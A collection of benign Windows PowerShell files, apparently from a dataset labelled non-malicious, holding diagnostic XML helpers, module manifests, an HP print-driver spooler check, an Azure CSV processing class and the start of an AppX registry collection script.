$ver ) [System.XML.XMLElement]$xmlTechArea = $xmlTechAreas.AppendChild($xmlReport.CreateElement("TechArea")) $xmlTechArea.SetAttribute("Name", $name) $xmlTechArea.SetAttribute("Version", $ver) } function XmlAddParameters { param( [Parameter(Mandatory=$true, Position=0)] [AllowEmptyString()] [AllowNull()] [string[]] $areas, [Parameter(Mandatory=$true, Position=1)] [AllowEmptyString()] [AllowNull()] [string[]] $components, [Parameter(Mandatory=$true, Position=2)] [AllowEmptyString()] [AllowNull()] [string[]] $diagnostics, [Parameter(Mandatory=$true, Position=3)] [bool] $offline, [Parameter(Mandatory=$true, Position=4)] [bool] $waitBeforeClose, [Parameter(Mandatory=$true, Position=5)] [bool] $skipDiags, [Parameter(Mandatory=$true, Position=6)] [bool] $DevMode ) foreach ($area in $areas) { [System.XML.XMLElement] $xmlArea = $xmlParameters.AppendChild($xmlReport.CreateElement("Area")) $xmlArea.SetAttribute("Name", $area) } foreach ($component in $components) { [System.XML.XMLElement] $xmlComponent = $xmlParameters.AppendChild($xmlReport.CreateElement("Component")) $xmlComponent.SetAttribute("Name", $component) } foreach ($diagnostic in $diagnostics) { [System.XML.XMLElement] $xmlComponent = $xmlParameters.AppendChild($xmlReport.CreateElement("Diagnostic")) $xmlComponent.SetAttribute("Name", $diagnostic) } [System.XML.XMLElement] $xmlOffline = $xmlParameters.AppendChild($xmlReport.CreateElement("Offline")) $xmlOffline.SetAttribute("Value", $offline) [System.XML.XMLElement] $xmlOffline = $xmlParameters.AppendChild($xmlReport.CreateElement("WaitBeforeClose")) $xmlOffline.SetAttribute("Value", $waitBeforeClose) [System.XML.XMLElement] $xmlOffline = $xmlParameters.AppendChild($xmlReport.CreateElement("SkipDiags")) $xmlOffline.SetAttribute("Value", $skipDiags) [System.XML.XMLElement] $xmlOffline = $xmlParameters.AppendChild($xmlReport.CreateElement("DevMode")) $xmlOffline.SetAttribute("Value", $DevMode) # save XmlSave } # to add a single attribute from a WMI class function XmlAddSysInfo { param( [Parameter(Mandatory=$true, Position=0)] [string] $valueName, [Parameter(Mandatory=$true, Position=1)] [string] $attribName, [Parameter(Mandatory=$true, Position=2)] [AllowNull()] [System.Object] $propertyValue ) if ($propertyValue -ne $null) { [System.XML.XMLElement] $wmidata = $nodeXray.SelectSingleNode("/xray/SystemInfo/$valueName") if ((!$xmlSystemInfo.HasChildNodes) -or ($wmidata -eq $null)) { # doesn't exist, need to add $wmidata = $xmlSystemInfo.AppendChild($xmlReport.CreateElement($valueName)) } $wmidata.SetAttribute($attribName, $propertyValue) } } # to add multiple/all attributes of a WMI class function XmlAddSysInfoMulti { param( [Parameter(Mandatory=$true, Position=0)] [string] $valueName, [Parameter(Mandatory=$true, Position=1)] [System.Object[]] $attributes ) [System.XML.XMLElement] $wmidata = $nodeXray.SelectSingleNode("/xray/SystemInfo/$valueName") if ((!$xmlSystemInfo.HasChildNodes) -or ($wmidata -eq $null)) { # doesn't exist, need to add $wmidata = $xmlSystemInfo.AppendChild($xmlReport.CreateElement($valueName)) } foreach($attribute in $attributes) { $wmidata.SetAttribute($attribute.Name, $attribute.Value) } XmlSave } function XmlAddDiagnostic { param( [Parameter(Mandatory=$true, Position=0)] [string] $name) [System.XML.XMLElement] $xmlDiagnostic = $xmlDiagnostics.AppendChild($xmlReport.CreateElement("Diagnostic")) $xmlDiagnostic.SetAttribute("Name", $name) $xmlDiagnostic.SetAttribute("Result", -1) $xmlDiagnostic.SetAttribute("Duration", -1) XmlSave } function XmlDiagnosticComplete { param( [Parameter(Mandatory=$true, Position=0)] [string] $name, [Parameter(Mandatory=$true, Position=1)] [Int] $result, [Parameter(Mandatory=$true, Position=2)] [UInt64] $duration ) $xmlDiagnostic = $xmlReport.SelectSingleNode("//xrayNS:Diagnostics/Diagnostic[@Name='$name']", $xmlNsMgr) if ($xmlDiagnostic -ne $null) { $xmlDiagnostic.SetAttribute("Result", $result) $xmlDiagnostic.SetAttribute("Duration", $duration) XmlSave } } function XmlDiagnosticUpdateIssue { param( [Parameter(Mandatory=$true, Position=0)] [string] $name, [Parameter(Mandatory=$true, Position=1)] [Int] $issueType ) $xmlDiagnostic = $xmlReport.SelectSingleNode("//xrayNS:Diagnostic[@Name='$name']", $xmlNsMgr) if ($xmlDiagnostic -ne $null) { $xmlDiagnostic.SetAttribute("Reported", $issueType) XmlSave } } function XmlMarkComplete { $nodeXray.SetAttribute("Complete", $true) XmlSave } function XmlSave { $finishTime = (Get-Date).ToUniversalTime() $nodeXray.SetAttribute("EndTime", $finishTime.ToString($TIME_FORMAT)) [UInt64] $timeTaken = ($finishTime - $xrayStartTime).TotalMilliseconds $nodeXray.SetAttribute("Duration", $timeTaken) $xmlReport.Save($xmlRptFile) } function InitPoolmonData { param( [Parameter(Mandatory=$true, Position=0)] [bool] $offline ) $file = Get-ChildItem -Path "$dataPath\*_poolmon.txt" -Name if ($file.Count -gt 1) { $file = $file[0] } if ($file -ne $null) { $Global:poolmonData = New-Object "System.Collections.Generic.List[string]" $pmTimestamp = $VALUE_NA $summary1 = "^\s+Memory:\s*(?<memory>[-0-9]+)K Avail:\s*(?<avail>[-0-9]+)K PageFlts:\s*(?<pageflts>[-0-9]+) InRam Krnl:\s*(?<inRamKrnl>[-0-9]+)K P:\s*(?<inRamP>[-0-9]+)K" $summary2 = "^\s+Commit:\s*(?<commit>[-0-9]+)K Limit:\s*(?<limit>[-0-9]+)K Peak:\s*(?<peak>[-0-9]+)K Pool N:\s*(?<poolN>[-0-9]+)K P:\s*(?<poolP>[-0-9]+)K" $tagentry = "^\s+(?<tag>.{4})\s+(?<type>\w+)\s+(?<allocs>[-0-9]+)\s+(?<frees>[-0-9]+)\s+(?<diff>[-0-9]+)\s+(?<bytes>[-0-9]+)\s+(?<perAlloc>[-0-9]+)\s+$" $markerDT = "^\s*===== (?<datetime>(.){22}) =====" Get-Content "$dataPath\$file" | Select-String -Pattern $summary1, $summary2, $tagentry, $markerDT | Foreach-Object { if ($_.Matches[0].Groups['datetime'].Value -ne "") { $pmTimestamp = $_.Matches[0].Groups['datetime'].Value } if ($_.Matches[0].Groups['memory'].Value -ne "") { #$memory, $avail, $pageflts, $inRamKrnl, $inRamP = $_.Matches[0].Groups['memory', 'avail', 'pageflts', 'inRamKrnl', 'inRamP'].Value $memory = $_.Matches[0].Groups['memory'].Value $avail = $_.Matches[0].Groups['avail'].Value $pageflts = $_.Matches[0].Groups['pageflts'].Value $inRamKrnl = $_.Matches[0].Groups['inRamKrnl'].Value $inRamP = $_.Matches[0].Groups['inRamP'].Value $poolmonData.Add("Summary1,$pmTimestamp,$memory,$avail,$pageflts,$inRamKrnl,$inRamP") } if ($_.Matches[0].Groups['commit'].Value -ne "") { #$commit, $limit, $peak, $poolN, $poolP = $_.Matches[0].Groups['commit', 'limit', 'peak', 'poolN', 'poolP'].Value $commit = $_.Matches[0].Groups['commit'].Value $limit = $_.Matches[0].Groups['limit'].Value $peak = $_.Matches[0].Groups['peak'].Value $poolN = $_.Matches[0].Groups['poolN'].Value $poolP = $_.Matches[0].Groups['poolP'].Value $poolmonData.Add("Summary2,$pmTimestamp,$commit,$limit,$peak,$poolN,$poolP") $pmTimestamp = $VALUE_NA } if ($_.Matches[0].Groups['tag'].Value -ne "") { #$tag, $type, $allocs, $frees, $diff, $bytes, $perAlloc = $_.Matches[0].Groups['tag', 'type', 'allocs', 'frees', 'diff', 'bytes', 'perAlloc'].Value $tag = $_.Matches[0].Groups['tag'].Value $type = $_.Matches[0].Groups['type'].Value $allocs = $_.Matches[0].Groups['allocs'].Value $frees = $_.Matches[0].Groups['frees'].Value $diff = $_.Matches[0].Groups['diff'].Value $bytes = $_.Matches[0].Groups['bytes'].Value $perAlloc = $_.Matches[0].Groups['perAlloc'].Value $poolmonData.Add("$tag,$type,$allocs,$frees,$diff,$bytes,$perAlloc") } } } else { LogWrite "Poolmon data not found: $dataPath\*_poolmon.txt" } } Export-ModuleMember -Function * -Variable * # SIG # Begin signature block # MIIoLQYJKoZIhvcNAQcCoIIoHjCCKBoCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCC5lv2cg/G1v8Pz # pJe4SRL1glSnoIQvw1q626Lry9lscKCCDXYwggX0MIID3KADAgECAhMzAAADrzBA # DkyjTQVBAAAAAAOvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjMxMTE2MTkwOTAwWhcNMjQxMTE0MTkwOTAwWjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB # AQDOS8s1ra6f0YGtg0OhEaQa/t3Q+q1MEHhWJhqQVuO5amYXQpy8MDPNoJYk+FWA # hePP5LxwcSge5aen+f5Q6WNPd6EDxGzotvVpNi5ve0H97S3F7C/axDfKxyNh21MG # 0W8Sb0vxi/vorcLHOL9i+t2D6yvvDzLlEefUCbQV/zGCBjXGlYJcUj6RAzXyeNAN # xSpKXAGd7Fh+ocGHPPphcD9LQTOJg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S+DtWp9B # 6vh7bTv1VD9b4kjj4knLO8we2zjnLfOORj7R5Rf08gcCG+V+Vc5exAMfkWUC0ZQ2 # j35y1+ujuijbQ44A5YAKlaASgbSwpLvXwtRX/oO1mpioAiJldAYu9ACDGfOk7HR3 # 5qKpEuO83Rqk+Dq+HKU4j3rv/SfgSmZGziVAQzQCyUaST9YwNA2KJ6TyEcWXTQPr # UMLL/DZpWTUI3qvXcZmGJsQ= # SIG # End signature block
combined_dataset/train/non-malicious/sample_60_41.ps1
sample_60_41.ps1
# # Module manifest for module 'OCI.PSModules.Datalabelingservice' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Datalabelingservice.dll' # Version number of this module. ModuleVersion = '85.1.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = '600a044a-632a-42d0-b1ab-94f26e2f3791' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Datalabelingservice Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '85.1.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Datalabelingservice.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Add-OCIDatalabelingserviceDatasetLabels', 'Get-OCIDatalabelingserviceAnnotationFormatsList', 'Get-OCIDatalabelingserviceDataset', 'Get-OCIDatalabelingserviceDatasetsList', 'Get-OCIDatalabelingserviceWorkRequest', 'Get-OCIDatalabelingserviceWorkRequestErrorsList', 'Get-OCIDatalabelingserviceWorkRequestLogsList', 'Get-OCIDatalabelingserviceWorkRequestsList', 'Import-OCIDatalabelingservicePreAnnotatedData', 'Invoke-OCIDatalabelingserviceSnapshotDataset', 'Move-OCIDatalabelingserviceDatasetCompartment', 'New-OCIDatalabelingserviceDataset', 'New-OCIDatalabelingserviceDatasetRecords', 'Remove-OCIDatalabelingserviceDataset', 'Remove-OCIDatalabelingserviceDatasetLabels', 'Rename-OCIDatalabelingserviceDatasetLabels', 'Update-OCIDatalabelingserviceDataset' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Datalabelingservice' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/sample_8_48.ps1
sample_8_48.ps1
#************************************************ # TS_PrintHpzui4wmCheck.ps1 # Version 1.0.1 # Date: 2/29/12 # Author: jasonf # Description: KB947477 Detect the OEM HP driver hpzui4wm.DLL. This driver is known to cause the print spooler to crash or hang. #************************************************ #strings #<!-- 230,214 to 230,217 - 2335.KB947477_HPDLL --> # <string index="230214" name="ID_KB947477_HPDLLTitle">Checking Spooler Service</string> # <string index="230215" name="ID_KB947477_HPDLLDescription">Checking loaded modules in Spooler Service.</string> # <string index="230216" name="ID_KB947477_HPDLLRC" localize="false">The print spooler may crash or hang due to OEM HP print driver</string> # <string index="230217" name="ID_KB947477_HPDLL1RS" localize="false">The OEM HP driver hpzui4wm.DLL was detected. This driver is known to cause the print spooler to crash or hang. Please contact HP to find an upgrade to this driver or follow steps in KB947477 to rename the driver.</string> # Import-LocalizedData -BindingVariable ScriptStrings Write-DiagProgress -Activity $ScriptStrings.ID_KB947477_HPDLLTitle -Status $ScriptStrings.ID_KB947477_HPDLLDescription $RootCauseDetected = $false $RootCauseName = "RC_PrintHpzui4wmCheck" $PublicContent = "http://support.microsoft.com/kb/KB947477" # *************************** # Data Gathering # *************************** Function CheckForLoadedModule ($ProcessName, $ModuleFileName, $ModuleProductVersion) { # # .SYNOPSIS # Checks the modules loaded in a process to see if a specific module and version is loaded # .DESCRIPTION # .NOTES # .LINK # .EXAMPLE # CheckForLoadedModule -ProcessName "SpoolSv" -ModuleFileName "spinf.dll" -ModuleProductVersion "6.1.7600.16385" # .OUTPUTS # Boolean value: [true] if the module name and version are loaded # otherwise [false] # .PARAMETER file # if (get-process -name $ProcessName -module | where-object {$_.ModuleName -eq $ModuleFileName}) { $module = get-process -name $ProcessName -module | where-object {$_.ModuleName -eq $ModuleFileName} if ($module.ProductVersion -eq $ModuleProductVersion) { Return $true } else { Return $false } } else { Return $false } } # ************** # Detection Logic # ************** #Rule applicability #spooler service is running $SpoolerService = get-service spooler if ($spoolerService.Status -eq "Running") {$RuleApplicable = $true} #Root cause detection #hpzui4wm.dll version 61.63.461.42 is loaded in spooler if ($RuleApplicable) { if (CheckForLoadedModule -ProcessName "SpoolSv" -ModuleFileName "hpzui4wm.dll" -ModuleProductVersion "61.63.461.42") { $RootCauseDetected = $true } } # ********************* # Root Cause processing # ********************* if ($RuleApplicable) { if ($RootCauseDetected) { # Red/ Yellow Light Update-DiagRootCause -id $RootCauseName -Detected $true Write-GenericMessage -RootCauseId $RootCauseName -PublicContentURL $PublicContent -Verbosity "Error" -Visibility 4 } else { # Green Light Update-DiagRootCause -id $RootCauseName -Detected $false } } # SIG # Begin signature block # MIIoKgYJKoZIhvcNAQcCoIIoGzCCKBcCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDob4vD8gq7fGlb # FVfEWEOq+EVfe87Wvxc9CCDFd7eHm6CCDXYwggX0MIID3KADAgECAhMzAAAEBGx0 # Bv9XKydyAAAAAAQEMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb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CukgtCRUoAAAQAAAewwIgQgsLR3G5TmSmMHedwiqAcbeNSpfnby # e1U8J5bYVqFB6MwwDQYJKoZIhvcNAQELBQAEggIAUaE0WuN/Rphw4IdHmcFvduDl # +1JMGnrMCDl07Wunuy8nSuWXJlcbrgAKJ6jwITbszPgiTeFdm8Yw9M5NdBqGeIF8 # MD5IpgV17Vp1E+NjfttMGnPt1BohBuOWAk3fLHVvVg40sUEmfW5/10EixrbTn0B4 # FaOOvBc4vtBFusB73bUFvNLIN8NPxPUU5xcdNBNcy44PtDZ5Ebphh2lSkbi0jrF6 # i8zwhKspUBgqvtKr1Bc+DRgmYDVEhL/lPY1YJ//ntXiVXW1IBbC+zfcRNBV66yzN # MZXt4KO/bTnFcpYHsFJdSh5n0MTm09Bh02LQOyDfP64pl9H6OMck3E94NEoboLyx # ihkOefx/IorKw/UscrPoHkEL8OZ29w/mMhrb4e6V6lKOdMcX02UQiF5N41AiFAwR # ADd+IOLvn0RJC526V9HjpSYe0anbKRb3EbVClJYYJa8OSTSozbv1yq0zJgeRFZs4 # Nxe7LuNaLFbgnyWCEnqfrO76UcXkvh84XtT/Iimuy8krn243jMveNYBGbttl990B # uY6zIdtEcCXHXeuFsAzuYzvZ5VYjOMkgsdl4onI0AzglU6suhStHWYXhFjb7D8ep # ylliIsGsItPRKoLkdEShpQuMZ+UlOAnhELapeti3I/9tBm5pd+spmXYVIG0uUFD6 # A0YgcTsCGEvEpGRyHzY= # SIG # End signature block
combined_dataset/train/non-malicious/sample_16_76.ps1
sample_16_76.ps1
@{ GUID="A94C8C7E-9810-47C0-B8AF-65089C13A35A" Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" FunctionsToExport = @() CmdletsToExport="Get-Credential", "Get-ExecutionPolicy", "Set-ExecutionPolicy", "ConvertFrom-SecureString", "ConvertTo-SecureString", "Get-PfxCertificate" , "Protect-CmsMessage", "Unprotect-CmsMessage", "Get-CmsMessage" AliasesToExport = @() NestedModules="Microsoft.PowerShell.Security.dll" HelpInfoURI = 'https://aka.ms/powershell72-help' } # SIG # Begin signature block # MIIoKgYJKoZIhvcNAQcCoIIoGzCCKBcCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAMiHmazz1gQ06K # unvXv+rGMEHONdPsUaRwD11+c7rHFaCCDXYwggX0MIID3KADAgECAhMzAAAEBGx0 # Bv9XKydyAAAAAAQEMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjQwOTEyMjAxMTE0WhcNMjUwOTExMjAxMTE0WjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB # AQC0KDfaY50MDqsEGdlIzDHBd6CqIMRQWW9Af1LHDDTuFjfDsvna0nEuDSYJmNyz # NB10jpbg0lhvkT1AzfX2TLITSXwS8D+mBzGCWMM/wTpciWBV/pbjSazbzoKvRrNo # DV/u9omOM2Eawyo5JJJdNkM2d8qzkQ0bRuRd4HarmGunSouyb9NY7egWN5E5lUc3 # a2AROzAdHdYpObpCOdeAY2P5XqtJkk79aROpzw16wCjdSn8qMzCBzR7rvH2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DUP7v5CLhMAYWXypht3ohd1krB+MFUF70ZQtVgo1xevLrDplx8i3 # ag/7pEOjf7v/terHpuYAkztjFWQorW2rV9LQIXGUiGX93+P5dJTzc7BvYCdWuUum # er6F2QxhGAsnF3agi15K2dvLJMBuGVByQ1d8DZm1oz5D45zDxYhyTt/TO611L6ji # Q0rEbJRw9qT6QrSYxcg= # SIG # End signature block
combined_dataset/train/non-malicious/sample_13_32.ps1
sample_13_32.ps1
ConvertFrom-StringData @' id_netframeworkngenfiles_title=.Net Framework nGen files id_netframeworkngenfiles_status=Collecting .Net Framework nGen files '@ # SIG # Begin signature block # MIIoKgYJKoZIhvcNAQcCoIIoGzCCKBcCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCB0AItCwfynkl68 # 9CpbfMjsojyDLsAKhskPPBZIdpCiwKCCDXYwggX0MIID3KADAgECAhMzAAAEBGx0 # Bv9XKydyAAAAAAQEMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjQwOTEyMjAxMTE0WhcNMjUwOTExMjAxMTE0WjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB # AQC0KDfaY50MDqsEGdlIzD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yVxnwTP7rNbA5u3FB9BJdb2/9UMuxJXaQ # NvxDLDeMQTkYrl+mCP99QUZ0WmPM+TyTfezBGA/B94V5INaUaTB6282M1aSzdxYP # RPZdvgWRbbOR0dme5aM0Lgxybb0sXOhYJtGFQ1aGqH9uc78jgHSYtEL5KNNBEsXI # C48u0LwmhIBIQu3yC3cwB32oE7noGkodkHQ9aZTiMYJjsVWHLCVEqiuNrdpj5qUO # JCTSDAeEoMhnxUDtGJvA4cLqTjgUhvQnbwvC/DNaczyAihiHMzFzS1kqYTFXCmFn # RlgoaUa0xUpbN8cY0IRsOePA90HJzitHstlZ1Nx5rko+Lr8tzDUOIxhNr217DYjl # r4SW9d5MSpGIc6jM2NTCWaEXglagnwasmwgRMjrbAJMCaSeNj1reZptolw3kr/Nz # KpGhKGiFYPCa/teWUu4= # SIG # End signature block
combined_dataset/train/non-malicious/996.ps1
996.ps1
class CsvProcessor { [psobject]$Logger [psobject]$ProcessItemFunction CsvProcessor($logger, $processItemFunction) { $this.Logger = $logger $this.ProcessItemFunction = $processItemFunction } [psobject] LoadCsv($CsvFilePath) { $resolvedCsvPath = Resolve-Path -LiteralPath $CsvFilePath $csvObj = Import-Csv $resolvedCsvPath -Delimiter ',' return $csvObj } [string] FormatDate($date) { return $date.ToString("yyyyMMdd_HHmmss") } [string] ReplaceLastSubstring([string]$str, [string]$substr, [string]$newstr) { $lastIndex = $str.LastIndexOf($substr) $result = $str.Remove($lastIndex,$substr.Length).Insert($lastIndex,$newstr) return $result } [string] GetCsvOutputPath($resolvedCsvPath) { $startDate = $this.Logger.StartDate $scriptName = $this.Logger.ScriptName $csvFileName = Split-Path $resolvedCsvPath -Leaf $CsvOutputFileName = [string]::Concat("out.", $scriptName, ".", $csvFileName, ".", $this.FormatDate($startDate), ".csv") $CsvOutputFilePath = $this.ReplaceLastSubstring($resolvedCsvPath, $csvFileName, $CsvOutputFileName) return $CsvOutputFilePath } [void] ProcessFile($CsvFilePath) { $this.Logger.LogTrace("[START]-Processing CsvFile '$($CsvFilePath)'") $resolvedCsvPath = Resolve-Path -LiteralPath $CsvFilePath $this.Logger.LogTrace("Loading Csv file '$($resolvedCsvPath)'") $csvObj = $this.LoadCsv($CsvFilePath) $CsvOutputFilePath = $this.GetCsvOutputPath($resolvedCsvPath) $this.Logger.LogTrace("Csv output report file: '$($CsvOutputFilePath)'") $protectedItemStatusArray = New-Object System.Collections.Generic.List[System.Object] foreach ($csvItem in $csvObj) { $reportItemInfo = [PSCustomObject]@{ Machine = $($csvItem.SOURCE_MACHINE_NAME) Exception = $null } try { $this.EnsureSubscription($csvItem.VAULT_SUBSCRIPTION_ID) $this.PrintSettings($csvItem) $this.ProcessItemFunction.Invoke($this, $csvItem, $reportItemInfo) } catch { $this.Logger.LogError("Exception processing item") $exceptionMessage = $_ | Out-String $this.Logger.LogError($exceptionMessage) $reportItemInfo.Exception = "EXCEPTION PROCESSING ITEM" } $protectedItemStatusArray.Add($reportItemInfo) } $this.Logger.LogTrace("Creating Csv reporting output '$($CsvOutputFilePath)'") $protectedItemStatusArray.ToArray() | Export-Csv -LiteralPath $CsvOutputFilePath -Delimiter ',' -NoTypeInformation $this.Logger.LogTrace("[FINISH]-CsvFile: '$($CsvFilePath)'") } [void] EnsureSubscription($subscriptionId) { $this.Logger.LogTrace("Checking if current subscription equals to '$($subscriptionId)'") $currentContext = Get-AzContext $currentSubscription = $currentContext.Subscription if ($currentSubscription.Id -ne $subscriptionId) { $this.Logger.LogTrace("Setting context subscription '$($subscriptionId)'") Set-AzContext -Subscription $subscriptionId $currentContext = Get-AzContext $currentSubscription = $currentContext.Subscription if ($currentSubscription.Id -ne $subscriptionId) { $this.Logger.LogErrorAndThrow("SubscriptionId '$($subscriptionId)' is not selected as current default subscription") } } else { $this.Logger.LogTrace("Subscription '$($subscriptionId)' is already selected") } } [void] PrintSettings($csvItem) { $this.Logger.LogTrace("---BEGIN ITEM DATA---") $propertyNames = $csvItem | Get-Member -MemberType Properties | Select-Object -ExpandProperty Name foreach ($propertyName in $propertyNames) { $propertyValue = $csvItem.$($propertyName) $this.Logger.LogTrace("$($propertyName)=$($propertyValue)") } $this.Logger.LogTrace("---END ITEM DATA---") } } Function New-CsvProcessorInstance($Logger, $ProcessItemFunction) { return [CsvProcessor]::new($logger, $processItemFunction) }
combined_dataset/train/non-malicious/sample_9_31.ps1
sample_9_31.ps1
#************************************************ # DC_AppxCollect.ps1 # Version 1.1 # Date: 2009-2019 # Author: Walter Eder (waltere@microsoft.com) # Description: Collects AppX additional information. # Called from: TS_AutoAddCommands_Apps.ps1 #******************************************************* Trap [Exception] { # Handle exception and throw it to the stdout log file. Then continue with function and script. $Script:ExceptionMessage = $_ "[info]: Exception occurred." | WriteTo-StdOut "[info]: Exception.Message $ExceptionMessage." | WriteTo-StdOut $Error.Clear() continue # later use return to return the exception message to an object: return $Script:ExceptionMessage } Write-verbose "$(Get-Date -UFormat "%R:%S") : Start of script DC_AppxCollect.ps1" "\n\n==================== Starting AppXCollect.ps1 script ====================\n\n" | WriteTo-StdOut Import-LocalizedData -BindingVariable ScriptStrings # Registry keys "Getting Appx Registry Keys" | WriteTo-StdOut Write-DiagProgress -Activity $ScriptStrings.ID_AppxRegistryKeys_Title -Status $ScriptStrings.ID_AppxRegistryKeys_Status $sectionDescription = "Software Registry keys" $Regkeys = "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer" $OutputFile = $ComputerName + "_reg_AppContainer_HKCU.txt" RegQuery -RegistryKeys $Regkeys -Recursive $true -OutputFile $OutputFile -fileDescription "HKCU AppContainer Registry Key" -SectionDescription $sectionDescription $Regkeys = 